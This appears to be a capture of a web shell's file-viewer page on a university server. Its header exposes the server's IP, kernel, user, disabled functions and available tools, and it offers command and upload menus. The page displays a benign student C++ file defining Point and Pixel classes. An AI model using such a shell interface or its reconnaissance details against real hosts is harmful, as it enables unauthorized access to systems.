Server IP : 172.16.15.8 / Your IP : 18.221.52.77 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/aredwards/CS212/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
// File: point.cpp // // Define a Point class that illustrates a point at coordinates // #include <iostream> #include <iomanip> using namespace std; class Point { // data int x, y; public: Point () // origin { x = 0; y = 0; } Point (int a, int b) { x = a; y = b; } float Distance (Point p) // observer { float d; //local variable int x0, y0; x0 = x - p.x; y0 = y - p.y; d = sqrt( (1.0*x0 * x0) + (y0 * y0)); return d; } }; enum StatusType { ON, OFF}; // define a subclass of Point, named Pixel class Pixel : public Point { StatusType status; public: Pixel () { status = OFF; } Pixel (int a, int b, StatusType s) : Point(a, b) { status = s; } }; int main () { Pixel onePixel (1, 1, ON); Pixel origin; cout << fixed << showpoint << setprecision(1); cout << "\nThe distance from origin to onePixel is: "; cout << onePixel.Distance(origin); cout << "\n\n Done. \n\n"; return 0; }